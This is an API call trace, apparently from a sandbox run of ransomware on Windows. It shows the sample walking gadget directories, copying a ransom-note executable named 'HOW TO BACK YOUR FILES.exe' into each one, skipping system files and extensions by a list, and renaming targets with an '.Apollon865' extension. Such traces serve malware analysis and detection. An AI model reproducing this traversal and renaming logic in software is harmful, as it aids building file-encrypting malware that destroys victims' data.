	[0052.244] lstrlenW (lpString="settings.css") returned 12
	[0052.244] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget"
	[0052.244] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0052.244] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0052.245] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned 62
	[0052.245] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget"
	[0052.245] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.245] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.252] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.252] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3737d0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3737d0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.252] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.252] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.252] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.252] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3737d0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3737d0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.252] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.252] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.253] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.253] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.253] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb371d95c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0052.253] lstrlenW (lpString="drag.png") returned 8
	[0052.253] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*") returned 64
	[0052.253] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0052.253] lstrlenW (lpString="drag.png") returned 8
	[0052.253] lstrlenW (lpString="Apollon865") returned 10
	[0052.253] lstrlenW (lpString=".dll") returned 4
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0052.253] lstrlenW (lpString=".lnk") returned 4
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0052.253] lstrlenW (lpString=".ini") returned 4
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0052.253] lstrlenW (lpString=".sys") returned 4
	[0052.253] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0052.253] lstrlenW (lpString="drag.png") returned 8
	[0052.253] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0052.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5994c0
	[0052.254] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd70
	[0052.254] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3737d0d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3737d0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.254] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.254] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3743abc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3743abc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0052.254] lstrlenW (lpString="icon.png") returned 8
	[0052.254] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 68
	[0052.254] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0052.254] lstrlenW (lpString="icon.png") returned 8
	[0052.254] lstrlenW (lpString="Apollon865") returned 10
	[0052.254] lstrlenW (lpString=".dll") returned 4
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0052.254] lstrlenW (lpString=".lnk") returned 4
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0052.254] lstrlenW (lpString=".ini") returned 4
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0052.254] lstrlenW (lpString=".sys") returned 4
	[0052.254] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0052.254] lstrlenW (lpString="icon.png") returned 8
	[0052.255] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="images" | out: lpString1="images") returned="images"
	[0052.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0052.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599558
	[0052.255] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc10
	[0052.255] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0052.255] lstrlenW (lpString="logo.png") returned 8
	[0052.255] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 69
	[0052.255] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0052.255] lstrlenW (lpString="logo.png") returned 8
	[0052.255] lstrlenW (lpString="Apollon865") returned 10
	[0052.255] lstrlenW (lpString=".dll") returned 4
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0052.255] lstrlenW (lpString=".lnk") returned 4
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0052.255] lstrlenW (lpString=".ini") returned 4
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0052.255] lstrlenW (lpString=".sys") returned 4
	[0052.255] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0052.255] lstrlenW (lpString="logo.png") returned 8
	[0052.256] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images"
	[0052.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0052.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0052.256] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 69
	[0052.256] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images"
	[0052.256] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.256] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.267] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3737d0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3737d0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.267] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.267] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3737d0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3737d0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.267] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.267] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.267] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.267] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.267] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3769c1c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3769c1c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2=".") returned 1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="..") returned 1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="windows") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="bootmgr") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="temp") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="pagefile.sys") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="boot") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="ids.txt") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="ntuser.dat") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="perflogs") returned -1
	[0052.267] lstrcmpiW (lpString1="bg-desk.png", lpString2="MSBuild") returned -1
	[0052.267] lstrlenW (lpString="bg-desk.png") returned 11
	[0052.267] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*") returned 71
	[0052.267] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="bg-desk.png" | out: lpString1="bg-desk.png") returned="bg-desk.png"
	[0052.267] lstrlenW (lpString="bg-desk.png") returned 11
	[0052.268] lstrlenW (lpString="Apollon865") returned 10
	[0052.268] lstrcmpiW (lpString1="g-desk.png", lpString2="Apollon865") returned 1
	[0052.268] lstrlenW (lpString=".dll") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-desk.png", lpString2=".dll") returned 1
	[0052.268] lstrlenW (lpString=".lnk") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-desk.png", lpString2=".lnk") returned 1
	[0052.268] lstrlenW (lpString=".ini") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-desk.png", lpString2=".ini") returned 1
	[0052.268] lstrlenW (lpString=".sys") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-desk.png", lpString2=".sys") returned 1
	[0052.268] lstrlenW (lpString="bg-desk.png") returned 11
	[0052.268] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="bg-dock.png" | out: lpString1="bg-dock.png") returned="bg-dock.png"
	[0052.268] lstrlenW (lpString="bg-dock.png") returned 11
	[0052.268] lstrlenW (lpString="Apollon865") returned 10
	[0052.268] lstrcmpiW (lpString1="g-dock.png", lpString2="Apollon865") returned 1
	[0052.268] lstrlenW (lpString=".dll") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-dock.png", lpString2=".dll") returned 1
	[0052.268] lstrlenW (lpString=".lnk") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-dock.png", lpString2=".lnk") returned 1
	[0052.268] lstrlenW (lpString=".ini") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-dock.png", lpString2=".ini") returned 1
	[0052.268] lstrlenW (lpString=".sys") returned 4
	[0052.268] lstrcmpiW (lpString1="bg-dock.png", lpString2=".sys") returned 1
	[0052.268] lstrlenW (lpString="bg-dock.png") returned 11
	[0052.268] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="bg-today.png" | out: lpString1="bg-today.png") returned="bg-today.png"
	[0052.268] lstrlenW (lpString="bg-today.png") returned 12
	[0052.268] lstrlenW (lpString="Apollon865") returned 10
	[0052.268] lstrcmpiW (lpString1="-today.png", lpString2="Apollon865") returned 1
	[0052.268] lstrlenW (lpString=".dll") returned 4
	[0052.269] lstrcmpiW (lpString1="bg-today.png", lpString2=".dll") returned 1
	[0052.269] lstrlenW (lpString=".lnk") returned 4
	[0052.269] lstrcmpiW (lpString1="bg-today.png", lpString2=".lnk") returned 1
	[0052.269] lstrlenW (lpString=".ini") returned 4
	[0052.269] lstrcmpiW (lpString1="bg-today.png", lpString2=".ini") returned 1
	[0052.269] lstrlenW (lpString=".sys") returned 4
	[0052.269] lstrcmpiW (lpString1="bg-today.png", lpString2=".sys") returned 1
	[0052.269] lstrlenW (lpString="bg-today.png") returned 12
	[0052.269] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="bNext-disable.png" | out: lpString1="bNext-disable.png") returned="bNext-disable.png"
	[0052.269] lstrlenW (lpString="bNext-disable.png") returned 17
	[0052.269] lstrlenW (lpString="Apollon865") returned 10
	[0052.269] lstrcmpiW (lpString1="isable.png", lpString2="Apollon865") returned 1
	[0052.269] lstrlenW (lpString=".dll") returned 4
	[0052.269] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".dll") returned 1
	[0052.269] lstrlenW (lpString=".lnk") returned 4
	[0052.269] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".lnk") returned 1
	[0052.269] lstrlenW (lpString=".ini") returned 4
	[0052.269] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".ini") returned 1
	[0052.269] lstrlenW (lpString=".sys") returned 4
	[0052.269] lstrcmpiW (lpString1="bNext-disable.png", lpString2=".sys") returned 1
	[0052.269] lstrlenW (lpString="bNext-disable.png") returned 17
	[0052.270] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US"
	[0052.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0052.270] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 68
	[0052.270] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US"
	[0052.270] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.270] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.274] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373a3230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373a3230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.274] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.274] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.274] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.274] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x373a3230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x373a3230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.274] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.274] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.274] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.274] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.274] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="Apollon865.txt.exe") returned 1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2=".") returned 1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="..") returned 1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="windows") returned -1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="bootmgr") returned 1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="temp") returned -1
	[0052.274] lstrcmpiW (lpString1="calendar.html", lpString2="pagefile.sys") returned -1
	[0052.275] lstrcmpiW (lpString1="calendar.html", lpString2="boot") returned 1
	[0052.275] lstrcmpiW (lpString1="calendar.html", lpString2="ids.txt") returned -1
	[0052.275] lstrcmpiW (lpString1="calendar.html", lpString2="ntuser.dat") returned -1
	[0052.275] lstrcmpiW (lpString1="calendar.html", lpString2="perflogs") returned -1
	[0052.275] lstrcmpiW (lpString1="calendar.html", lpString2="MSBuild") returned -1
	[0052.275] lstrlenW (lpString="calendar.html") returned 13
	[0052.275] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*") returned 70
	[0052.275] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.Apollon865") returned 90
